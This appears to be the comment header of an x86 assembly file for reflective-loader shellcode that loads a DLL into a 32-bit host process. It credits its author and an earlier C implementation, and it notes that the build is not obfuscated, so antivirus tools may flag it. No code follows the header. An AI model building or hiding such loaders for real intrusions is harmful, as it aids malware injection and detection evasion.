; Reflective Loader shellcode loading a DLL
; ===============================================
; Posted on by @ArnaudDlms
; Written in x86 ASM with Flat Assembler
; No junk code added so executable might be detected as malicious by AVs
; Host process must be 32-bit
; Inspired by the following C code by Stephen Fewer :
